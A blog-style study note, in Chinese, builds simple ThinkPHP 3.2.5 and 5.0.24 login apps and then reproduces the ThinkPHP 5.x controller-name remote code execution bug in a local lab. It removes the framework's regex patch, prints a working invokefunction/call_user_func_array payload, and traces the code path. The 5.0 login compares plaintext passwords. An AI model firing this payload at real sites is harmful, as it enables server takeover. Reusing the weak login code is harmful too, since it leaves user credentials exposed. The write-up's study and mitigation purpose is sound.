为了加深对thinkphp框架的理解,以及锻炼自己的代码审计能力,对网络安全thinkphp框架漏洞原因更深入理解,故开此章
thinkphp3.2.5 简单登录功能的实现+apache+MySQL
https://github.com/top-think/thinkphp
github下载thinkphp框架
thinkphp的目录结构如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| myproject/ │ ├── Application/ // 应用目录(核心代码) │ ├── Common/ // 公共函数、配置 │ ├── Home/ // 默认模块(例如首页、用户管理) │ │ ├── Controller/ // 控制器 │ │ ├── Model/ // 模型 │ │ └── View/ // 视图 │ ├── Runtime/ // 运行时缓存文件 │ └── ... │ ├── Public/ // 静态资源(CSS、JS、图片) │ ├── css/ │ ├── js/ │ └── images/ │ ├── ThinkPHP/ // ThinkPHP 框架核心 │ ├── .htaccess // Apache URL 重写规则 ├── index.php // 入口文件 └── ...
|
ThinkPHP 3.2.5默认使用PATHINFO模式,正确URL格式为
1
| http://localhost/thinkphp/index.php/控制器/方法
|
htaccess配置
1 2 3 4 5 6
| <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L] </IfModule>
|
代码分析
1
| <IfModule mod_rewrite.c>
|
这是一个条件判断标签,用于检查 Apache 服务器是否已经加载了 mod_rewrite 模块。mod_rewrite 是 Apache 的一个强大模块,用于实现 URL 重写功能。如果服务器已经加载了该模块,则执行 和 之间的代码;否则,忽略这些代码。
这行代码用于开启 mod_rewrite 模块的重写引擎。只有当重写引擎开启后,后续的重写规则才会生效。
1
| RewriteCond %{REQUEST_FILENAME} !-d
|
RewriteCond 是一个重写条件指令,用于设置重写规则的匹配条件。这里的 %{REQUEST_FILENAME} 是一个 Apache 服务器的环境变量,表示当前请求的文件或目录的完整物理路径。!-d 是一个测试条件,表示如果 %{REQUEST_FILENAME} 所指向的路径不是一个有效的目录,则满足该条件。也就是说,只有当请求的路径不是一个实际存在的目录时,才会继续执行后续的重写规则。
1
| RewriteCond %{REQUEST_FILENAME} !-f
|
这也是一个 RewriteCond 指令,!-f 表示如果 %{REQUEST_FILENAME} 所指向的路径不是一个有效的文件,则满足该条件。结合上一个条件,这两个条件共同确保了只有当请求的路径既不是一个实际存在的目录,也不是一个实际存在的文件时,才会继续执行后续的重写规则。
1
| RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
|
RewriteRule 是一个重写规则指令,用于定义具体的重写规则。下面是对该规则各部分的详细解释:
- ^(.)$:这是一个正则表达式,用于匹配请求的 URL 路径。^ 表示字符串的开始,(.) 表示匹配任意数量的任意字符,并将匹配的内容捕获到一个组中,$ 表示字符串的结束。因此,这个正则表达式可以匹配任意的 URL 路径。
- index.php/$1:这是重写后的目标 URL。$1 表示前面正则表达式中捕获的组的内容,即原始请求的 URL 路径。因此,重写后的 URL 是将原始请求的路径附加到 index.php 后面。
- [QSA,PT,L]:这是重写规则的标志,用于控制重写的行为:
- QSA(Query String Append):表示将原始请求的查询字符串(URL 中 ? 后面的部分)附加到重写后的 URL 中。
- PT(Pass Through):表示将重写后的 URL 传递给后续的处理程序,而不是直接返回给客户端。
- L(Last):表示这是最后一条重写规则,如果匹配成功,则不再执行后续的重写规则。
数据库配置
mysql创建一个test_db库
创建用户表语句
1 2 3 4 5 6 7 8 9
| CREATE TABLE `tp_user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `password` varchar(32) NOT NULL, `status` tinyint(1) DEFAULT '1', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO `tp_user` VALUES (1, 'admin', MD5('123456'), 1);
|

修改配置文件默认为Application/Common/Conf/config.php
1 2 3 4 5 6 7 8 9 10
| <?php return array( 'DEFAULT_MODULE' => 'Home', 'DB_TYPE' => 'mysql', 'DB_HOST' => 'localhost', 'DB_NAME' => 'test_db', 'DB_USER' => 'root', 'DB_PWD' => '123', 'DB_PREFIX' => 'tp_', );
|
创建登录功能
创建控制器 Application/Home/Controller/LoginController.class.php
一定要为.class.php
因为
这是 ThinkPHP 3.x 版本的 标准类文件命名规则,明确表示这是一个类文件。
框架的自动加载机制会优先识别 .class.php 后缀的文件,并尝试加载其中的类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php namespace Home\Controller; use Think\Controller; class LoginController extends Controller { public function index(){ $this->display(); }
public function checkLogin(){ $username = I('post.username'); $password = md5(I('post.password'));
$user = D('User')->where(array( 'username' => $username, 'password' => $password ))->find();
if($user){ $this->success('登录成功', U('Index/index')); }else{ $this->error('登录失败'); } } }
|
- namespace Home\Controller
表示该控制器属于Home模块下的Controller目录,符合Thinkphp的模块化规范。
- use Think\Controller
导入基类控制器,使当前类可以继承Think\Controller的功能(如页面渲染、跳转等)。
默认首页方法index()
1 2 3
| public function index() { $this->display(); }
|
- 功能:渲染默认的视图模板
- 对应视图路径:Application/Home/View/Login/index.html(如display中间为空,那么默认为index,也可以在display加上Index目录下的其他html文件被渲染)(规则:View/控制器名/方法名.html)
- 访问URL:http://localhost/Home/Login/index
checkLogin()方法:登录验证逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public function checkLogin() { // 获取表单数据 $username = I('post.username'); // 安全获取POST参数 $password = md5(I('post.password')); // MD5加密(⚠️安全性警告)
// 数据库查询 $user = D('User')->where(array( // 实例化User模型 'username' => $username, // 查询条件1 'password' => $password // 查询条件2(加密后) ))->find(); // 查询单条数据
// 结果处理 if ($user) { $this->success('登录成功', U('Index/index')); // 跳转到首页 } else { $this->error('登录失败'); // 显示错误提示 } }
|
数据获取与加密
1 2
| $username = I('post.username'); // 安全获取POST参数(自动过滤危险字符) $password = md5(I('post.password')); // 使用MD5加密
|
- I(‘post.username’):Thinkphp的输入过滤函数,等效于$_POST['username']但更安全
第二个就是多了个MD5加密
数据库查询
1 2 3 4
| $user = D('User')->where(array( 'username' => $username, 'password' => $password ))->find();
|
- D(‘User’):实例化UserModel模型类(对应Application/Home/Model/UserModel.class.php),若模型不存在,则框架会按表名动态创建模型。
- where()条件:生成SQL的WHRER子句(默认使用参数绑定,已防止SQL注入),此处等价于
1 2 3
| SELECT * FROM tp_user WHERE username = 'admin' AND password = 'e10adc3949ba59abbe56e057f20f883e' LIMIT 1
|
- find():返回符合条件的第一条记录(关联数组),若无数据返回null。
结果跳转
1 2
| $this->success('登录成功', U('Index/index')); $this->error('登录失败');
|
- success()和error():框架内置的快捷跳转方法,自动显示提示信息并跳转。
- U(‘Index/index’):生成URL,指向Home模块下IndexController的index方法。
完整登录流程图示
1 2 3 4 5 6 7 8 9
| 用户访问 /Home/Login -> 显示登录表单(index.html) ↓ 提交表单到 /Home/Login/checkLogin ↓ 控制器验证用户名密码 -> 查询数据库 ↓ 验证成功 -> 跳转到首页 ↓ 验证失败 -> 返回错误提示
|
Login/index.html
1 2 3 4 5 6 7 8 9 10 11 12 13
| <!DOCTYPE html> <html> <head> <title>用户登录</title> </head> <body> <form action="__CONTROLLER__/checkLogin" method="post"> 用户名:<input type="text" name="username"><br> 密码:<input type="password" name="password"><br> <button type="submit">登录</button> </form> </body> </html>
|
Model/UserModel.class.php
1 2 3 4 5 6 7
| <?php namespace Home\Model; use Think\Model;
class UserModel extends Model { protected $tableName = 'user'; }
|
起到了指定数据表的作用

/Login/index

登录验证

登录验证URL解读
1
| http://localhost/thinkphp1/index.php/Home/Login/checkLogin
|
thinkphp尝试解析
- 模块(Module):Home(对应 Application/Home/ 目录)
- 控制器(Controller):Login(对应 LoginController.class.php)
- 方法(Action):checkLogin
thinkphp5.0.24 简单登录功能的实现+apache+Mysql
数据库准备我们直接用上一章的库
thinkphp的网页端根目录为public,用户是从public进入项目,我们在写代码时就在application进行操作
因为github下载thinkphp框架缺少thinkphp目录,我们使用composer部署项目
1
| composer create-project topthink/think=5.0.22 think5
|
实际上下载的是5.0.24
thinkphp5.0.24核心目录结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| 项目根目录/ ├─ application/ # 应用目录(核心开发目录) │ ├─ index/ # 模块目录(默认模块) │ │ ├─ controller/ # 控制器目录(C) │ │ ├─ model/ # 模型目录(M) │ │ └─ view/ # 视图目录(V) │ │ └─ index/ # 控制器对应的视图子目录 │ ├─ config/ # 应用配置目录 │ │ ├─ config.php # 应用配置文件 │ │ └─ database.php # 数据库配置文件 │ ├─ route/ # 路由配置目录(可选) │ │ └─ route.php # 路由配置文件 │ └─ ... # 其他自定义模块(如 admin、api) │ ├─ public/ # 网站对外访问根目录 │ ├─ index.php # 入口文件 │ ├─ static/ # 静态资源(CSS/JS/Images) │ └─ .htaccess # Apache URL重写规则 │ ├─ thinkphp/ # 框架核心目录(不可修改) │ ├─ library/ # 核心类库 │ │ └─ think/ # ThinkPHP核心类 │ ├─ lang/ # 语言包 │ └─ tpl/ # 系统默认错误模板 │ ├─ extend/ # 扩展类库目录(自定义) ├─ vendor/ # Composer依赖目录 ├─ runtime/ # 运行时目录(缓存/日志) │ ├─ cache/ # 缓存文件 │ └─ log/ # 日志文件 │ └─ composer.json # Composer配置文件(依赖管理)
|

配置连接数据库
application/database.php
1 2 3 4 5 6 7 8
| return [ 'type' => 'mysql', 'hostname' => '127.0.0.1', 'database' => 'test_db', 'username' => 'root', 'password' => 'your_password', ];
|
创建控制器
application/index/controller/Login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php namespace app\index\controller; use think\Controller; use app\index\model\User; use think\Session; use think\Db;
class Login extends Controller { public function index() { return $this->fetch(); }
public function doLogin() { $username = input('post.username'); $password = input('post.password');
if (empty($username) || empty($password)) { $this->error('用户名和密码不能为空'); }
$user = User::where('username', $username)->find();
if ($user && $password == $user['password']) { Session::set('user_id', $user['id']); $this->success('登录成功', '/index/login/welcome'); } else { $this->error('用户名或密码错误'); } }
public function welcome() { return $this->fetch(); }
public function logout() { Session::delete('user_id'); $this->redirect('/index/login'); } }
|
创建视图(控制器所作用的)
application/index/view/login/index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>用户登录</title> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <div class="login-container"> <h2>用户登录</h2> <form action="{:url('doLogin')}" method="post"> <div class="form-group"> <label for="username">用户名:</label> <input type="text" id="username" name="username" required class="form-control" placeholder="请输入用户名"> </div> <div class="form-group"> <label for="password">密码:</label> <input type="password" id="password" name="password" required class="form-control" placeholder="请输入密码"> </div> <button type="submit" class="btn-login">立即登录</button> </form> {notempty name="error"} <div class="error-message">{$error}</div> {/notempty} </div> </body> </html>
|
application/index/view/login/welcome.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>欢迎页</title> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <div class="welcome-container"> <h1>欢迎回来,<?php echo session('user_id') ? '用户' : '游客'; ?>!</h1> <a href="{:url('logout')}" class="btn-logout">退出登录</a> </div> </body> </html>
|
路由配置
application/route.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| use think\Route;
Route::pattern([ 'name' => '\w+', 'id' => '\d+' ]);
Route::group('hello', function(){ Route::get(':id', 'index/hello'); Route::post(':name', 'index/hello'); });
Route::get('login', 'index/login/index'); Route::post('login/doLogin', 'login/doLogin'); Route::get('logout', 'login/logout');
return [];
|
创建公共CSS文件
public/static/css/style.css
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| body { margin: 0; padding: 0; background: linear-gradient(120deg, #2980b9, #8e44ad); height: 100vh; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; display: flex; justify-content: center; align-items: center; }
.login-container, .welcome-container { background: rgba(255, 255, 255, 0.95); padding: 40px; border-radius: 10px; box-shadow: 0 0 20px rgba(0, 0, 0, 0.1); width: 350px; }
h2, h1 { text-align: center; color: #333; margin-bottom: 30px; }
.form-group { margin-bottom: 20px; }
.form-control { width: 100%; padding: 12px; border: 1px solid #ddd; border-radius: 5px; font-size: 16px; transition: border-color 0.3s; }
.form-control:focus { border-color: #3498db; outline: none; }
.btn-login { width: 100%; padding: 12px; background: #3498db; color: white; border: none; border-radius: 5px; cursor: pointer; font-size: 16px; transition: background 0.3s; }
.btn-login:hover { background: #2980b9; }
.error-message { color: #e74c3c; margin-top: 15px; text-align: center; }
.btn-logout { display: block; width: 120px; margin: 20px auto 0; padding: 10px; text-align: center; background: #e74c3c; color: white; text-decoration: none; border-radius: 5px; transition: background 0.3s; }
.btn-logout:hover { background: #c0392b; }
|
创建模型类
application/index/model/User.php
1 2 3 4 5 6 7 8 9 10
| <?php
namespace app\index\model;
use think\Model;
class User extends Model { protected $table = 'tp_user'; }
|
配置apcahe .htaccess
在项目根目录下public配置
1 2 3 4 5 6 7 8
| <IfModule mod_rewrite.c> Options +FollowSymlinks -Multiviews RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php?s=/$1 [QSA,PT,L] </IfModule>
|
登录流程
首页

url输入login进入登录页面

登录成功

记住用户的session,保持登录状态,跳转到welcome

漏洞分析
在thinkphp5x版本是有一个RCE漏洞的,漏洞原因是:
由于框架错误地处理了控制器名称,如果网站没有启用强制路由(这是默认路由),它可以执行任何方法,从而导致 RCE 漏洞。
我们来复现这个漏洞,首先关闭强制路由

查看漏洞利用的地方thinkphp/library/think/App.php

1 2 3 4 5 6 7 8
| // 获取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']);
// if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { // throw new HttpException(404, 'controller not exists:' . $controller); // }
$controller = $convert ? strtolower($controller) : $controller;
|
这两行代码的主要作用就是从路由解析结果中获取控制器名,并对其进行一些处理(大致是是它可以被处理成可被接收的形式)。
可以看到,官方在此版本已经自动添加了补丁,使用正则过滤控制器名称
我们把它注释掉
payload
1
| index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
|
url参数解析
- URL 结构:s=/Index/\think\app/invokefunction
- 模块($result[0]):Index
- 控制器($result[1]):\think\app
- 操作($result[2]):invokefunction
也就是,框架此时会加载命名空间为\think下的app类
在 ThinkPHP 5 中,\think\App 是框架核心类,用于处理应用调度。
此时强制指定控制器为 \think\App,调用其 invokefunction 方法。

1 2 3 4 5 6 7 8 9 10
| public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args); }
|
invokefunction 是框架内部方法,用于动态调用函数。
参数注入
function=call_user_func_array:指定调用的函数为 call_user_func_array。
vars[0]=phpinfo:设置 call_user_func_array 的第一个参数为 phpinfo 函数。
vars[1][]=-1:设置第二个参数为 [-1],触发 phpinfo() 执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| private static function bindParams($reflect, $vars = []) { if (empty($vars)) { $vars = Config::get('url_param_type') ? Request::instance()->route() : Request::instance()->param(); }
$args = []; if ($reflect->getNumberOfParameters() > 0) { reset($vars); $type = key($vars) === 0 ? 1 : 0;
foreach ($reflect->getParameters() as $param) { $args[] = self::getParamValue($param, $vars, $type); } }
return $args; }
|
bindParams 从请求参数 vars 中提取 [phpinfo, [-1]]
invokeFunction 接收 $function=call_user_func_array。
反射创建 call_user_func_array 的 ReflectionFunction 对象。
最终调用
1
| call_user_func_array('phpinfo', [-1])
|
漏洞小结
本漏洞的发生条件是网站配置没有启用强制路由,导致用户可以调用任意控制器,并利用框架内的执行方法,以达到恶意攻击,修复的话,开启强制路由,限制用户访问think框架,以及对url正则过滤,限制对控制器的访问。
漏扫工具扫描
用蓝鲸扫描发现有三个漏洞

这个漏洞就是运行本地的文件,可执行

还有一个漏洞就是猜测本机数据库配置,可爆出账号密码

盲猜把强制路由打开就利用不了这些漏洞了

果然,直接全解决了